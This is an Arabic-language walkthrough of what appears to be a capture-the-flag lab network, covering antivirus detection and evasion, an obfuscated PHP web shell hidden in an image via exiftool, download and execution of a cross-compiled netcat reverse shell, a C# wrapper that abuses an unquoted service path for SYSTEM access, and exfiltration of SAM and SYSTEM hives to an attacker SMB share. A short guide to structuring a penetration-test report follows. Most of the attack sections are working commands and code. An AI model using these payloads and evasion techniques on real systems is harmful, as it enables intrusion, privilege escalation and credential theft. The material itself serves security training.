استراتيجية التجاوز (Evasion): تتطلب جهداً أكبر. يتم تجاوزها باستخدام تقنيات التعتيم (Obfuscation)؛ كأن نقوم بتشفير أجزاء من الكود، أو تغيير أسماء الدوال والمتغيرات إلى نصوص عشوائية غير مفهومة لكسر قواعد المطابقة (Pattern Matching).


ثانياً: الكشف الديناميكي والسلوكي (Dynamic/Heuristic Detection)

هذا النوع أكثر تطوراً؛ حيث يعتمد على مراقبة سلوك الملف أثناء تشغيله، تماماً مثل مراقب الامتحان الذي يراقب تصرفات الطالب لاستنتاج أي نية للغش.

1. التحليل الإرشادي / تحليل التدفق (Heuristic / Flow Analysis)

الآلية: يقرأ الـ AV تسلسل الأوامر والمنطق البرمجي لمحاولة استنتاج "نية" البرنامج.

(على سبيل المثال: برنامج يقرأ ملفات النظام ثم يحاول فتح اتصال مشفر مع عنوان IP خارجي غير معروف، سيُعتبر سلوكاً خبيثاً).

2. الصندوق الرملي (Sandboxing)

الآلية: يقوم الـ AV بوضع الملف المشبوه في بيئة وهمية معزولة تماماً (Virtual Machine) ويسمح له بالعمل براحته مع تسريع الزمن، ثم يراقب تصرفاته. إذا أظهر سلوكاً خبيثاً، يتم إيقافه وحذفه فوراً قبل أن يصل للنظام الحقيقي.

استراتيجية التجاوز (Evasion):

يتمثل التحدي هنا في برمجة فيروس "ذكي يدرك بيئته" (Environment Keying). نقوم ببرمجة البايلود ليفحص البيئة المحيطة به أولاً قبل تنفيذ الكود الخبيث (مثلاً: هل توجد مروحة تبريد للمعالج؟ هل دقة الشاشة طبيعية؟ هل يوجد نشاط حقيقي لفأرة الكمبيوتر؟ هل حجم القرص الصلب منطقي؟).

إذا استنتج البرنامج أنه داخل "صندوق رملي"، فإنه ينهي عمله فوراً أو ينفذ كوداً بريئاً ليتجاوز الفحص بنجاح.


الخلاصة (Summary)

في هذه المهمة التعليمية، تعرفنا على آليات الكشف الرئيسية:

الكشف الثابت (Static Detection):

  • تحليل البصمة (Hash Matching): سهل التجاوز بتغيير بسيط في الكود
  • مطابقة الأنماط (String Matching): يتطلب تعتيم متقدم للكود

الكشف الديناميكي (Dynamic Detection):

  • التحليل الإرشادي (Heuristic Analysis): فحص تدفق الأوامر والمنطق البرمجي
  • الصندوق الرملي (Sandboxing): تنفيذ الملف في بيئة معزولة ومراقبة سلوكه

الخطوة التالية: في المهام القادمة سنطبق تقنيات التعتيم والتخفي المتقدمة لإنشاء بايلود يتجاوز كل هذه الآليات!


Task 40: PHP Payload Obfuscation

الهدف (Objective)

الهدف من هذه المرحلة هو ترقية الـ Proof of Concept (PoC) الذي أنشأناه سابقاً إلى Web Shell حقيقي وكامل الوظائف. التحدي الرئيسي هنا ليس فقط رفع الشيل، بل تخفيه (Obfuscation) لضمان عدم اكتشافه وحذفه من قبل برنامج الحماية (Windows Defender) الذي يعتمد على التواقيع (Signatures) لكشف الأكواد الخبيثة المعروفة.


منهجية التخفي (Obfuscation Methodology)

⚠️ الكود التقليدي (سيتم اكتشافه):

إذا قمنا بكتابة Web Shell تقليدي مثل <?php system($_GET['cmd']); ?>، فإن الـ Antivirus سيقوم باكتشافه فوراً لأن دوال مثل system أو shell_exec مقترنة بكلمات مثل cmd تُعتبر "تواقيع حمراء" (Red Flags).

لذلك، قمنا بتطبيق تقنيات التعتيم التالية على الكود:

1. تشفير النصوص (String Encoding)

بدلاً من تمرير اسم المتغير (Parameter) بشكل صريح (مثل cmd أو wreath)، قمنا بتشفيره باستخدام Base64. الكلمة wreath أصبحت d3JlYXRo، وسيطلب الكود من السيرفر فك تشفيرها فقط وقت التنفيذ (Runtime).

2. تغيير أسماء المتغيرات (Variable Renaming)

تم استبدال المتغيرات الشائعة بأسماء عشوائية لا معنى لها (مثل $p0) لتضليل التحليل الثابت (Static Analysis).

3. الهروب الآمن (Bash Escaping)

بما أننا سنحقن الكود عبر سطر الأوامر في Linux (Bash)، توجب علينا إضافة علامة الهروب \ قبل كل علامة دولار $ لمنع التيرمينال من تفسيرها كمتغيرات محلية وإفساد الـ Payload.


خطوات التنفيذ (Execution Steps)

1 الخطوة الأولى: تجهيز الحاضنة (Host File Preparation)

استخدمنا تقنية Polyglot مجدداً عبر جلب صورة نظيفة لتعمل كحاضنة للكود الخبيث، مع استخدام امتداد مزدوج لتجاوز فلتر الرفع.

cp /usr/share/backgrounds/kali-16x9/kali-cubism.jpg shell-username.jpeg.php

2 الخطوة الثانية: حقن الكود المموه (Payload Injection)

استخدمنا أداة exiftool لحقن الـ Web Shell المموه داخل حقل البيانات الوصفية (ExifData / Comment) الخاص بالصورة.

الكود المحقون (المموه والمؤمّن بعلامات الهروب):

exiftool -Comment="<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>" shell-zaidmo.jpeg.php

شرح الكود:

الكود يتحقق من وجود المتغير الممرر عبر الـ URL (بعد فك تشفير اسمه wreath)، وينفذ قيمته كأمر نظام باستخدام shell_exec، ثم يطبع النتيجة بين وسوم <pre> المشفّرة أيضاً لتنسيق المخرجات.

3 الخطوة الثالثة: رفع البايلود (Upload)

  1. قمنا بالوصول إلى لوحة الرفع عبر الرابط: http://10.200.180.100/resources (مع تفعيل FoxyProxy SOCKS5).
  2. سجلنا الدخول باستخدام بيانات Thomas.
  3. قمنا بتجاوز الفلتر المرئي في المتصفح باختيار All Files لنتمكن من تحديد ملف shell-username.jpeg.php.
  4. تمت عملية الرفع بنجاح (تلقينا رسالة File uploaded successfully)، مما يؤكد أن البايلود قد تجاوز كلاً من فلاتر تطبيق الويب وفحوصات الـ Antivirus على السيرفر!

4 الخطوة الرابعة: التحقق والتنفيذ (Execution Verification)

للتأكد من أن الـ Web Shell يعمل بكفاءة وأنه متصل بصلاحيات تنفيذ الأوامر، قمنا باستدعائه عبر المتصفح وتمرير أمر فحص النظام dir عبر المتغير المخفي wreath.

الطلب المرسل:

http://10.200.180.100/resources/uploads/shell-username.jpeg.php?wreath=dir c:\windows\temp\

النتيجة (Result)

بمجرد إرسال الطلب، استجاب السيرفر وقام بتنفيذ الأمر dir c:\windows\temp\ بنجاح، وعرض محتويات المجلد المستهدف.

هذا يثبت أننا نمتلك الآن Web Shell خفي وفعال (Fully Undetectable - FUD) يعمل باستقرار على السيرفر الهدف، مما يمهد الطريق لنا لتأسيس اتصال عكسي كامل (Reverse Shell) في الخطوة القادمة.


الخلاصة التقنية (Technical Summary)

في هذه المهمة، قمنا بتطبيق تقنيات تعتيم متقدمة:

  • تشفير أسماء المتغيرات والنصوص باستخدام Base64
  • استخدام أسماء متغيرات عشوائية ($p0) لتضليل التحليل الثابت
  • تطبيق علامات الهروب (\) لحماية الكود من التفسير الخاطئ في Bash
  • حقن Web Shell مموه داخل ExifData باستخدام تقنية Polyglot
  • تجاوز فلاتر الموقع و Windows Defender بنجاح
  • إثبات القدرة على تنفيذ الأوامر عن بُعد (RCE) بشكل مستقر

الخطوة التالية: استخدام هذا Web Shell لتأسيس Reverse Shell كامل والحصول على تحكم شامل في النظام!


Task 41: Cross-Compilation & Interactive Reverse Shell

الهدف (Objective)

الهدف من هذه المرحلة هو ترقية الوصول المحدود الذي حصلنا عليه عبر الـ Web Shell (في التاسك السابق) إلى جلسة تحكم تفاعلية كاملة (Reverse Shell). لتحقيق ذلك وتجنب أي مشاكل في التوافقية أو الحماية، سنقوم بتحميل الكود المصدري لأداة Netcat وإعادة تجميعها (Cross-Compile) على نظام Kali Linux لتتطابق تماماً مع معمارية السيرفر الهدف (Windows 64-bit)، ثم نقلها وتشغيلها للحصول على الاتصال.

الأدوات المستخدمة

Python HTTP Server

لاستضافة الملف وتسهيل نقله.

cURL & PowerShell

لسحب الملف وتشغيله من خلال الـ Web Shell الموجود على الهدف.


خطوات التنفيذ (Execution Steps)

قمنا بتقسيم العمل إلى ثلاث مراحل أساسية لضمان التنفيذ الدقيق:

المرحلة الأولى: تجهيز وبناء Netcat (Cross-Compilation)

للحصول على نسخة نظيفة وتعمل بكفاءة على معمارية 64-bit، قمنا ببناء الأداة من الصفر:

1. جلب الكود المصدري:

قمنا بتحميل مستودع الأداة من GitHub والدخول إلى المجلد:

git clone https://github.com/int0x33/nc.exe/
cd nc.exe

2. التنظيف (Cleanup):

قمنا بحذف النسخة الافتراضية المرفقة nc.exe لأنها مبنية لمعمارية 32-bit ولا تتناسب مع هدفنا:

rm nc.exe

3. تكوين المترجم (Makefile Configuration):

قمنا بتعديل ملف Makefile لتوجيه عملية البناء نحو بيئة 64-bit.

  • تم فتح الملف باستخدام nano Makefile.
  • تم تعطيل المترجم الافتراضي بإضافة # قبله.
  • تمت إضافة المترجم الصحيح لمعمارية 64-bit:
CC=x86_64-w64-mingw32-gcc

(بعد الحفظ، أصبحت بيئة العمل جاهزة لإنتاج ملف nc64.exe أو nc.exe المتوافق مع الهدف).

المرحلة الثانية: نقل البايلود للسيرفر (File Transfer)

بمجرد تجهيز الملف التنفيذي، احتجنا إلى رفعه إلى الخادم الهدف مستغلين الـ Web Shell الذي زرعناه سابقاً.

1. تشغيل خادم استضافة محلي (Local Hosting):

في نفس المجلد الذي يحتوي على أداة Netcat المجمّعة، قمنا بتشغيل خادم ويب بسيط:

sudo python3 -m http.server 80

2. سحب الملف من قبل الهدف (Downloading via Web Shell):

باستخدام المتصفح، أرسلنا أمراً للـ Web Shell ليقوم باستخدام أداة curl المدمجة في ويندوز لسحب الملف وحفظه في مسار الملفات المؤقتة C:\windows\temp\:

http://10.200.180.100/resources/uploads/shell-MuirlandOracle.jpeg.php?wreath=curl http://10.250.180.3/nc64.exe -o c:\\windows\\temp\\nc-username.exe

النتيجة: سجل خادم البايثون الخاص بنا استجابة 200 OK، مما يؤكد أن السيرفر الهدف قام بتحميل الملف بنجاح.

المرحلة الثالثة: تنفيذ الاتصال العكسي (Execution & Reverse Shell)

الآن والملف الخبيث موجود داخل السيرفر، بقيت خطوة التشغيل:

1. تشغيل المتنصت (Listener):

على جهاز Kali، قمنا بفتح منفذ (Port 443) لاستقبال الاتصال العكسي:

sudo nc -lvnp 443

2. التنفيذ (Triggering the Payload):

من خلال الـ Web Shell في المتصفح، أرسلنا أمر powershell.exe لتشغيل أداة Netcat التي رفعناها للتو، وتوجيهها للاتصال بجهازنا مع تمرير موجه الأوامر cmd.exe:

http://10.200.180.100/resources/uploads/shell-MuirlandOracle.jpeg.php?wreath=powershell.exe c:\\windows\\temp\\nc-username.exe 10.250.180.3 443 -e cmd.exe

النتيجة (Result)

بمجرد إرسال طلب التنفيذ من المتصفح، التقطنا اتصالاً ناجحاً على تيرمينال الـ Netcat الخاص بنا.

تحول الوصول من مجرد تنفيذ أوامر بطيء ومقيد عبر الـ URL، إلى Interactive Reverse Shell (موجه أوامر تفاعلي C:\xampp\htdocs\resources\uploads>)، مما يمنحنا سيطرة حرة وكاملة على النظام لاستكمال خطوات ما بعد الاختراق (Post-Exploitation) وتصعيد الصلاحيات لاحقاً.


الخلاصة التقنية (Technical Summary)

في هذه المهمة، قمنا بتنفيذ سلسلة متقدمة من التقنيات:

  • تحميل الكود المصدري لأداة Netcat من GitHub
  • إعادة الترجمة المشتركة (Cross-Compilation) لمعمارية Windows 64-bit باستخدام x86_64-w64-mingw32-gcc
  • استضافة الملف محلياً باستخدام Python HTTP Server
  • نقل الملف إلى الهدف عبر Web Shell باستخدام curl
  • تشغيل المتنصت على Port 443 لاستقبال الاتصال العكسي
  • تنفيذ Netcat على الهدف عبر PowerShell للحصول على Reverse Shell تفاعلي

الخطوة التالية: استخدام هذا الوصول التفاعلي الكامل لتصعيد الصلاحيات واستكشاف النظام بعمق!


Task 42: Enumeration

الهدف (Objective)

بعد أن حصلنا على جلسة تحكم (Reverse Shell) ناجحة في التاسك السابق، نحن الآن داخل جهاز Thomas ولكن بصلاحيات مستخدم عادي (Low-Privilege User).

الهدف من هذه المرحلة هو إجراء عملية جمع معلومات (Enumeration) صامتة لتجنب إثارة انتباه Windows Defender للبحث عن مسار لرفع صلاحياتنا إلى مستوى Administrator أو SYSTEM. سنركز في بحثنا على الثغرات المرتبطة بالخدمات (Services)، وتحديداً ثغرة Unquoted Service Path (مسار الخدمة غير المقتبس).


خطوات التنفيذ (Execution Steps)

قمنا بتقسيم عملية الفحص إلى أربع مراحل منهجية:

1 الخطوة الأولى: فحص صلاحيات المستخدم الحالي (Privilege Enumeration)

أول خطوة في أي عملية رفع صلاحيات هي معرفة ما يمكن للمستخدم الحالي فعله.

whoami /priv

النتيجة: بالنظر إلى قائمة الصلاحيات (Privileges)، لاحظنا وجود صلاحية خطيرة ومشهورة جداً وهي SeImpersonatePrivilege.

ملاحظة: هذه الصلاحية تُستخدم عادة في هجمات معروفة مثل PrintSpoofer و سلسلة هجمات Potato لرفع الصلاحيات لـ SYSTEM، لكن نظراً لأن أدوات هذه الهجمات مكشوفة بشدة من قبل برامج الحماية، سنحتفظ بها كخطة بديلة ونبحث عن مسار أكثر أماناً للتخفي.

2 الخطوة الثانية: البحث عن خدمات الطرف الثالث (Service Enumeration)

غالباً ما تكون خدمات ويندوز الأساسية آمنة، لذا ركزنا بحثنا على الخدمات التي قام المستخدم بتثبيتها (User-installed services) لاحتمالية وجود أخطاء في إعداداتها.

استخدمنا أمر wmic لجلب قائمة الخدمات، مع تصفية النتائج لاستبعاد أي خدمة تعمل من داخل مجلد الويندوز الافتراضي C:\Windows:

wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"

النتيجة (اكتشاف الثغرة):

من خلال فحص النتائج (وتحديداً عمود PathName)، بحثنا عن مسارات تحتوي على مسافات (Spaces) ولا تحيط بها علامات تنصيص "" (Quotes).

وجدنا الخدمة التالية:

  • اسم الخدمة (Name): SystemExplorerHelpService
  • مسارها: C:\Program Files (x86)\System Explorer\...

شرح الثغرة:

لأن المسار غير محاط بعلامات تنصيص ويحتوي على مسافات، فإن ويندوز عند تشغيل الخدمة سيبحث عن ملف تنفيذي اسمه Program.exe في الـ C:\، ثم يبحث عن System.exe في مجلد Program Files (x86)، قبل أن يصل للمسار الصحيح. هذا الخطأ المنطقي هو ما سنستغله.

3 الخطوة الثالثة: التحقق من صلاحيات الخدمة (Service Configuration Check)

لكي تكون الثغرة مفيدة لنا، يجب أن تكون هذه الخدمة تعمل بصلاحيات نظام عليا، لكي تعطينا هذه الصلاحيات عند استغلالها.

sc qc SystemExplorerHelpService

النتيجة: بالنظر إلى حقل SERVICE_START_NAME، وجدنا أن الخدمة تعمل كـ LocalSystem (Aye). هذا يعني أن استغلالها سيمنحنا أعلى صلاحية ممكنة (SYSTEM).

4 الخطوة الرابعة: فحص صلاحيات المجلد (Directory Permissions Check)

الشرط الأخير لنجاح هجوم الـ Unquoted Service Path هو أن نكون قادرين (كمستخدم عادي) على كتابة وزرع ملفنا الخبيث في المسار الذي سيبحث فيه الويندوز.

قمنا بفحص صلاحيات مجلد System Explorer باستخدام PowerShell:

powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

النتيجة: أظهرت قائمة الصلاحيات خطأً فادحاً من قبل المطور أو النظام! مجموعة المستخدمين العاديين BUILTIN\Users تمتلك صلاحية التحكم الكامل Allow FullControl على هذا المجلد.


الخلاصة (Conclusion)

لقد وجدنا ثغرة مثالية لرفع الصلاحيات (Privilege Escalation). جميع الشروط متوفرة:

  1. خدمة تحتوي على مسار غير مقتبس وبه مسافات (SystemExplorerHelpService).
  2. الخدمة تعمل بصلاحيات LocalSystem.
  3. المستخدم العادي (Thomas) لديه صلاحية الكتابة (FullControl) في المسار المطلوب.

كل ما علينا فعله الآن هو صناعة بايلود خبيث، تسميته System.exe، وضعه في مجلد C:\Program Files (x86)\System Explorer\، ثم إعادة تشغيل الخدمة ليقوم ويندوز بتنفيذه بدلاً من الخدمة الأصلية، مما سيمنحنا صلاحيات الروت (SYSTEM)!


الخلاصة التقنية (Technical Summary)

في هذه المهمة، قمنا بإجراء عملية enumeration منهجية:

  • فحص صلاحيات المستخدم الحالي (whoami /priv) واكتشاف SeImpersonatePrivilege
  • البحث عن خدمات الطرف الثالث باستخدام wmic مع تصفية النتائج
  • تحديد الثغرة: خدمة SystemExplorerHelpService مع مسار غير مقتبس
  • التحقق من أن الخدمة تعمل كـ LocalSystem
  • تأكيد صلاحيات الكتابة الكاملة على المجلد المستهدف

الخطوة التالية: في المهام القادمة سنقوم بصناعة بايلود مموه واستغلال هذه الثغرة للحصول على صلاحيات SYSTEM!


Task 43: Privilege Escalation

الهدف (Objective)

الهدف من هذه المرحلة هو استغلال ثغرة Unquoted Service Path التي تم اكتشافها في الخدمة SystemExplorerHelpService بتاسك 42، وذلك لرفع صلاحياتنا من مستخدم عادي (Thomas) إلى أعلى صلاحية في النظام NT AUTHORITY\SYSTEM.

آلية الثغرة (Vulnerability Mechanism)

لفهم كيفية عمل هذا الهجوم، يجب النظر إلى مسار الخدمة المصابة:

C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe

الخطأ المنطقي:

المسار يحتوي على مسافات (Spaces) وغير محاط بعلامات تنصيص (""). بسبب هذا الخطأ، لا يعرف نظام ويندوز أين ينتهي مسار المجلد وأين يبدأ اسم الملف التنفيذي. لذلك، سيحاول النظام قراءة المسار وتشغيل الملفات بالترتيب التالي عند بدء تشغيل الخدمة:

  1. C:\Program Files (x86)\System.exe (توقف عند المسافة الأولى).
  2. C:\Program Files (x86)\System Explorer\System.exe (توقف عند المسافة الثانية).
  3. المسار الصحيح الكامل.

الخطة:

سنقوم بكتابة برنامج خبيث (Wrapper) وظيفته تشغيل Netcat، وسنسميه System.exe ونضعه في مجلد System Explorer. عندما يعيد النظام تشغيل الخدمة، سيقوم بتشغيل ملفنا بدلاً من الخدمة الأصلية بصلاحيات SYSTEM.


خطوات التنفيذ (Execution Steps)

1 الخطوة الأولى: صناعة البايلود وتجميعه (Payload Crafting & Compilation)

بدلاً من رفع فيروس معقد، سنقوم بكتابة برنامج بسيط (Wrapper) بلغة C# وظيفته الوحيدة هي استدعاء ملف Netcat الموجود مسبقاً في مجلد Temp لإنشاء اتصال عكسي.

1. كتابة الكود:

قمنا بإنشاء ملف Wrapper.cs على نظام Kali Linux يحتوي على الكود التالي (مع تعديل الـ IP والمنفذ):

using System;
using System.Diagnostics;

namespace Wrapper{
    class Program{
        static void Main(){
            Process proc = new Process();
            ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-username.exe", "YOUR_KALI_IP 15002 -e cmd.exe");
            procInfo.CreateNoWindow = true;
            proc.StartInfo = procInfo;
            proc.Start();
        }
    }
}

2. التجميع (Compilation):

استخدمنا مترجم mcs لتحويل الكود إلى ملف تنفيذي يعمل على بيئة ويندوز:

mcs Wrapper.cs

النتيجة: تم إنشاء ملف Wrapper.exe بنجاح.

2 الخطوة الثانية: إعداد خادم النقل (Delivery Setup)

لنقل الملف بهدوء إلى جهاز الضحية، قمنا بتشغيل خادم SMB محلي باستخدام أداة Impacket على جهاز Kali:

sudo python3 /opt/impacket/examples/smbserver.py share . -smb2support -username user -password s3cureP@ssword

3 الخطوة الثالثة: سحب الملف والتجربة (Transfer & Testing)

من خلال الـ Web Shell المتصل بجهاز الضحية:

1. المصادقة مع السيرفر:

net use \\10.250.180.3\share /USER:user s3cureP@ssword

2. نسخ الملف الخبيث إلى مجلد مؤقت:

copy \\10.250.180.3\share\Wrapper.exe %TEMP%\wrapper-zaidmo.exe

3. التجربة (Testing):

لضمان عمل البايلود قبل الخطوة النهائية، قمنا بفتح متنصت (Listener) على المنفذ 15002 وشغلنا الملف يدوياً %TEMP%\wrapper-username.exe.

النتيجة: استلمنا اتصالاً ناجحاً، مما يؤكد أن البايلود يعمل بشكل سليم ويتجاوز الحماية.

4 الخطوة الرابعة: الاستغلال النهائي (Exploitation)

الآن حان وقت "الضربة القاضية". قمنا بإيقاف المتنصت التجريبي وأعدنا تشغيله لاستقبال اتصال النظام. ثم نفذنا الأوامر التالية من خلال الـ Shell:

1. إيقاف الخدمة الأصلية مؤقتاً:

sc stop SystemExplorerHelpService

2. زرع الملف الخبيث في المسار المصاب (باسم System.exe):

copy %TEMP%\wrapper-zaidmo.exe "C:\Program Files (x86)\System Explorer\System.exe"

3. تشغيل الخدمة (Triggering the Exploit):

sc start SystemExplorerHelpService

ملاحظة: ظهرت رسالة خطأ failed to start في نظام ويندوز لأن برنامجنا ليس خدمة حقيقية، وهذا أمر طبيعي ومؤشر على أن الويندوز حاول تشغيل ملفنا.


النتيجة (Result)

بمجرد محاولة النظام تشغيل الخدمة، قام بتنفيذ ملفنا الخبيث System.exe بصلاحيات النظام العليا.

بالنظر إلى تيرمينال الـ Netcat الخاص بنا، تلقينا اتصالاً عكسياً (Reverse Shell) جديداً. وللتأكد من هويتنا نفذنا الأمر:

whoami

المخرجات:

nt authority\system

لقد تمت السيطرة بالكامل (Full System Compromise) على الهدف!


الخلاصة التقنية (Technical Summary)

في هذه المهمة، قمنا بتنفيذ استغلال كامل لثغرة Unquoted Service Path:

  • كتابة برنامج Wrapper بلغة C# لاستدعاء Netcat
  • تجميع الكود باستخدام mcs على Kali Linux
  • إعداد خادم SMB باستخدام Impacket لنقل الملف
  • نقل البايلود وتجربته لضمان عمله
  • إيقاف الخدمة الأصلية وزرع الملف الخبيث كـ System.exe
  • إعادة تشغيل الخدمة لتنفيذ البايلود بصلاحيات SYSTEM
  • الحصول على Reverse Shell بصلاحيات NT AUTHORITY\SYSTEM

النتيجة النهائية: تم تحقيق السيطرة الكاملة على النظام مع أعلى صلاحيات ممكنة، مما يمكننا من تنفيذ أي عملية على الجهاز المخترق!


Task 44: Post-Exploitation & Data Exfiltration

الهدف (Objective)

الهدف النهائي من عملية الاختراق هو إثبات السيطرة المطلقة على النظام المستهدف من خلال استخراج "كلمة مرور" مدير النظام (Administrator Hash).

نظراً لأن نظام الحماية (Windows Defender) فعّال وسيُسقط أي محاولة لاستخدام أدوات سحب كلمات المرور الشهيرة مثل Mimikatz على القرص، فإن استراتيجيتنا ستعتمد على أسلوب هادئ (Stealthy): سنستغل صلاحيات SYSTEM التي نملكها لنسخ ملفات النظام الحساسة من الريجستري (SAM و SYSTEM)، ثم إرسالها (Exfiltration) إلى جهاز Kali الخاص بنا لفك تشفيرها واستخراج الهاشات محلياً بعيداً عن أعين مكافح الفيروسات.


الجزء النظري: بروتوكولات سحب البيانات (Exfiltration Protocols)

قبل البدء بالتطبيق، تطرقنا إلى تقييم البروتوكولات المستخدمة في تهريب البيانات:

1. بروتوكول FTP

السؤال: هل يُعد خياراً جيداً في الشبكات الحديثة؟

التقييم: لا (Nay)

السبب: FTP هو بروتوكول ينقل البيانات كنص واضح (Plaintext)، مما يجعل أي نظام كشف تسلل (IDS) أو محلل شبكات قادرًا على قراءة البيانات المسروقة وإطلاق إنذار فوري.

2. HTTPS مقابل HTTP

السؤال: أيهما أفضل للتهريب؟

التقييم: HTTPS دائماً

السبب: التشفير (Encryption). HTTPS يغلف البيانات المسروقة بطبقة تشفير، مما يجعلها تبدو كحركة مرور ويب طبيعية ومبهمة بالنسبة لمراقبي الشبكة.


خطوات التنفيذ (Execution Steps)

1 الخطوة الأولى: تجاوز أخطاء الاتصال (Connection Troubleshooting)

قمنا مسبقاً بإعداد خادم مشاركة ملفات (SMB Server) على جهاز Kali الخاص بنا لاستقبال البيانات. ومع ذلك، عند محاولة الاتصال بالخادم من جلسة الـ SYSTEM، واجهنا خطأ مصادقة: System error 1312 has occurred والذي يشير إلى مشكلة في الجلسة المحددة.

الحل (Bypass):

نظام ويندوز يرفض الاتصال أحياناً بسبب تعارض في بيانات الاعتماد المخزنة (Cached Credentials). لتجاوز هذا الخطأ، قمنا بخداع النظام عبر تمرير "نطاق وهمي" (Fake Domain) قبل اسم المستخدم في أمر الاتصال test\user.

net use \\10.250.180.3\share /USER:test\user s3cureP@ssword

النتيجة: The command completed successfully، مما يعني نجاح الاتصال.

2 الخطوة الثانية: سحب ملفات الريجستري (Hive Exfiltration)

استخدمنا الأداة المدمجة في الويندوز reg.exe لإنشاء نسخ احتياطية من ملفات الريجستري التي تحتوي على كلمات المرور ومفاتيح فك تشفيرها، وحفظناها مباشرة داخل مجلد المشاركة (SMB Share) الخاص بنا على شبكة المهاجم:

1. نسخ ملف SAM (يحتوي على كلمات المرور المشفرة):

reg.exe save HKLM\SAM \\10.250.180.3\share\sam.bak

2. نسخ ملف SYSTEM (يحتوي على مفتاح فك التشفير - BootKey):

reg.exe save HKLM\SYSTEM \\10.250.180.3\share\system.bak

النتيجة: اكتملت العمليتان بنجاح، وبالتحقق من مجلد العمل الخاص بنا على نظام Kali، وجدنا أن ملفي sam.bak و system.bak قد وصلا بسلام.

3 الخطوة الثالثة: استخراج الهاش محلياً (Offline Hash Dumping)

مع وجود الملفات بأمان على نظام Kali الخاص بنا (بعيداً عن Windows Defender)، استخدمنا سكريبت secretsdump.py من حزمة Impacket لمحاكاة استخراج الهاشات من الملفات الخام.

python3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

النتيجة (Result / Findings)

نجح السكريبت في قراءة الملفات، استخراج مفتاح الإقلاع (bootKey)، وتفريغ الهاشات (SAM hashes) لجميع المستخدمين المحليين.

بالبحث في المخرجات عن حساب Administrator، وجدنا السطر التالي:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:[NT_HASH] :::

الهدف المحقق:

تم استخراج الـ NT Hash الخاص بمدير النظام بنجاح.

بهذه الخطوة، نكون قد أثبتنا القدرة على اختراق الشبكة، تصعيد الصلاحيات، واستخراج أثمن بيانات النظام بشكل صامت واحترافي.


الخلاصة التقنية (Technical Summary)

في هذه المهمة، قمنا بتنفيذ عملية Post-Exploitation كاملة:

  • تقييم بروتوكولات التهريب (FTP vs HTTPS)
  • تجاوز أخطاء المصادقة باستخدام نطاق وهمي (test\user)
  • استخدام reg.exe لنسخ ملفات الريجستري الحساسة (SAM و SYSTEM)
  • تهريب الملفات عبر SMB بشكل صامت إلى جهاز المهاجم
  • استخدام secretsdump.py لاستخراج الهاشات محلياً بعيداً عن AV
  • الحصول على NT Hash الخاص بـ Administrator بنجاح

النتيجة النهائية: إثبات السيطرة الكاملة على النظام من خلال استخراج أهم بيانات اعتماد النظام (Administrator Hash) باستخدام تقنيات تخفٍ متقدمة تتجنب كشف AV!


Task 45: الخلاصة والتقرير

Conclusion, Debrief & Report

📌 المقدمة: أهمية التقرير

بعد أن اخترقت الشبكة وجمعت ملاحظاتك (Notes)، حان وقت كتابة التقرير. التقرير هو الوثيقة التي تسلمها للشركة لتقول لهم: "هكذا اخترقتكم، وهذه هي نقاط ضعفكم، وهكذا تقومون بإصلاحها".


📑 هيكلية التقرير الاحترافي (Report Structure)

لا يوجد "قالب" (Template) واحد إجباري لكل الشركات، لكن الهيكلية التالية هي الأكثر احترافية وقبولاً في سوق العمل:

Executive Summary
Timeline
Findings
Attack Narrative
Cleanup
Conclusion
References
Appendices

1 الملخص التنفيذي (Executive Summary)

هذا القسم مخصص لـ "المدراء" (مثل المدير التنفيذي CEO) الذين لا يفهمون في الأمور التقنية والأكواد.

ماذا تكتب فيه؟

  • ملخص سريع للمهمة التي تم توكيلك بها (نطاق العمل Scope).
  • ملخص للنتائج التي وصلت إليها (هل تم الاختراق أم لا).
  • تقييم عام لمستوى الأمان في الشركة.
⭐ سر المهنة: هذا أهم قسم في التقرير! غالباً المدراء يقرأون هذا القسم فقط، لذلك يجب أن يكون جذاباً، واضحاً، وخالياً من التعقيد التقني.

2 الجدول الزمني (Timeline)

جدول يوضح ماذا فعلت؟ وفي أي وقت ويوم تحديداً؟

💡 فائدته: يساعد فريق الحماية في الشركة (Blue Team) على مراجعة سجلات النظام (Logs) الخاصة بهم في نفس هذا الوقت، ليروا كيف يبدو شكل الهجوم في أنظمتهم حتى يتعلموا اكتشافه مستقبلاً.

3 النتائج وطرق العلاج (Findings and Remediations)

هذا القسم تقني وموجه لمهندسي الشبكات والمبرمجين في الشركة.

ماذا تكتب فيه؟

  • شرح مفصل للثغرات التي وجدتها.
  • طرق العلاج (Remediations): كيف يقومون بسد هذه الثغرة وإصلاحها.
  • خطورة الثغرة (Severity): مدى خطورة هذه الثغرة على الشركة. نستخدم هنا معياراً عالمياً اسمه CVSS (وهو نظام يعطي الثغرة تقييماً من 1 إلى 10 حسب خطورتها).

4 سرد الهجوم (Attack Narrative)

هنا تظهر مهاراتك التقنية بالكامل.

ماذا تكتب فيه؟

هو عبارة عن "قصة خطوة بخطوة" (Walkthrough) للأوامر والأدوات التي استخدمتها لاختراق الأجهزة. يجب أن يكون مفصلاً لدرجة أن أي شخص تقني يقرأه يستطيع "نسخ ولصق" أوامرك وإعادة تنفيذ الاختراق بنفسه ليتأكد من وجود الثغرة.

5 التنظيف (Cleanup)

قسم مهم جداً وغالباً ينساه المبتدئون. الهاكر الأخلاقي لا يترك وراءه فوضى!

ماذا تكتب فيه؟

توثق فيه كيف قمت بإزالة أثرك من السيرفرات (مثلاً: حذف الحسابات التي أنشأتها مثل حساب Hero الذي صنعناه سابقاً، حذف ملفات الـ PHP الخبيثة، إغلاق البورتات التي فتحتها في الجدار الناري).

6 الخاتمة (Conclusion)

تلخيص نهائي للتقرير، والتأكيد على أهمية إغلاق الثغرات بسرعة لحماية الشركة.

7 المراجع (References)

تضع هنا روابط للمصادر التي استندت إليها (مثلاً مقالات من موقع OWASP الشهير).

المصطلحات المهمة هنا: يجب أن تربط الثغرات التي وجدتها بأرقامها في قواعد البيانات العالمية:

CVE
Common Vulnerabilities and Exposures
نقاط الضعف والتعرض الشائعة — رقم تعريفي عالمي للثغرة
CWE
Common Weakness Enumeration
تعداد نقاط الضعف الشائعة — تصنيف لنوع الخطأ البرمجي

